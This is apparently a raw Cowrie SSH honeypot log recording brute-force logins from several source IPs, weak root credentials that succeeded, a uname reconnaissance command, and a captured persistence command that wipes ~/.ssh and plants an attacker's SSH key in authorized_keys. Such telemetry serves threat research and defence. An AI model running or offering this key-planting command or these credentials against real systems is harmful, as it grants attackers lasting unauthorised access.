{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:01.245018Z","src_ip":"195.178.110.218","session":"deb691789e2c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"1234","message":"login attempt [sol/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:01.485261Z","src_ip":"195.178.110.218","session":"deb691789e2c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:02.568016Z","src_ip":"195.178.110.218","session":"deb691789e2c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":47530,"dst_ip":"10.17.0.5","dst_port":22,"session":"4967b69a1657","protocol":"ssh","message":"New connection: 92.118.39.92:47530 (10.17.0.5:22) [session: 4967b69a1657]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:04.760915Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:04.765749Z","src_ip":"92.118.39.92","session":"4967b69a1657","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:04.870310Z","src_ip":"92.118.39.92","session":"4967b69a1657","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jenkins","password":"jenkins","message":"login attempt [jenkins/jenkins] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:05.251641Z","src_ip":"92.118.39.92","session":"4967b69a1657","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:06.358957Z","src_ip":"92.118.39.92","session":"4967b69a1657","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.95.12","src_port":54174,"dst_ip":"159.203.135.109","dst_port":22,"session":"5a6e8e447cb6","protocol":"ssh","message":"New connection: 103.59.95.12:54174 (159.203.135.109:22) [session: 5a6e8e447cb6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:08.928065Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:08.932401Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:09.220034Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"pulamea123","message":"login attempt [root/pulamea123] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:10.408094Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:11.016754Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~; chattr -ia .ssh; lockr -ia .ssh","message":"CMD: cd ~; chattr -ia .ssh; lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:11.020118Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.command.failed","input":"lockr -ia .ssh","message":"Command not found: lockr -ia .ssh","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:11.023792Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","size":32,"shasum":"c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/c32b4937ce8564ea904a3bd2cb64805500ddfd28952a90fd55cb3c85d0be7644 after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:11.314034Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:11.919493Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","message":"CMD: cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:11.921751Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.session.file_download","duplicate":true,"outfile":"var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","shasum":"a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","destfile":"/root/.ssh/authorized_keys","message":"Saved redir contents with SHA-256 a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2 to var/lib/cowrie/downloads/a8460f446be540410004b1a8db4083773fa46f7fe76fa84219c93daa1669f8f2","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:12.212702Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","size":0,"shasum":"cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f","duplicate":true,"duration":"0.3","message":"Closing TTY Log: var/lib/cowrie/tty/cc1eb03e9b5926d8076e25826664a04400de854bf5cc660fa35eb86cbdf7dc0f after 0.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:12.217102Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.95.12","src_port":54180,"dst_ip":"159.203.135.109","dst_port":22,"session":"fffa1db95a7b","protocol":"ssh","message":"New connection: 103.59.95.12:54180 (159.203.135.109:22) [session: fffa1db95a7b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:12.465711Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:12.470101Z","src_ip":"103.59.95.12","session":"fffa1db95a7b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:12.728957Z","src_ip":"103.59.95.12","session":"fffa1db95a7b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"345gs5662d34","password":"345gs5662d34","message":"login attempt [345gs5662d34/345gs5662d34] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:13.800743Z","src_ip":"103.59.95.12","session":"fffa1db95a7b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:15.066869Z","src_ip":"103.59.95.12","session":"fffa1db95a7b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.59.95.12","src_port":54196,"dst_ip":"159.203.135.109","dst_port":22,"session":"206cf4bb699e","protocol":"ssh","message":"New connection: 103.59.95.12:54196 (159.203.135.109:22) [session: 206cf4bb699e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:15.347831Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:15.352214Z","src_ip":"103.59.95.12","session":"206cf4bb699e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:15.635814Z","src_ip":"103.59.95.12","session":"206cf4bb699e","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"3245gs5662d34","message":"login attempt [root/3245gs5662d34] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:16.793122Z","src_ip":"103.59.95.12","session":"206cf4bb699e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"8.1","message":"Connection lost after 8.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:17.076229Z","src_ip":"103.59.95.12","session":"5a6e8e447cb6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:34:17.080808Z","src_ip":"103.59.95.12","session":"206cf4bb699e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":35922,"dst_ip":"10.17.0.5","dst_port":22,"session":"7c818e0cb4bd","protocol":"ssh","message":"New connection: 92.118.39.92:35922 (10.17.0.5:22) [session: 7c818e0cb4bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:24.095838Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:24.115886Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:24.245146Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"root","password":"password","message":"login attempt [root/password] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:24.685973Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:24.936347Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"/bin/./uname -s -v -n -r -m","message":"CMD: /bin/./uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:24.939598Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","size":71,"shasum":"876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/876deb10d4cf5b5c092011cec255ceaeaef66174cc3b5964b8eb53b60d9cab81 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:25.051888Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:25.057083Z","src_ip":"92.118.39.92","session":"7c818e0cb4bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"195.178.110.218","src_port":49210,"dst_ip":"159.203.135.109","dst_port":22,"session":"c91ce7f5e5ba","protocol":"ssh","message":"New connection: 195.178.110.218:49210 (159.203.135.109:22) [session: c91ce7f5e5ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:41.340467Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:41.345004Z","src_ip":"195.178.110.218","session":"c91ce7f5e5ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T06:36:41.424760Z","src_ip":"195.178.110.218","session":"c91ce7f5e5ba","protocol":"ssh"}
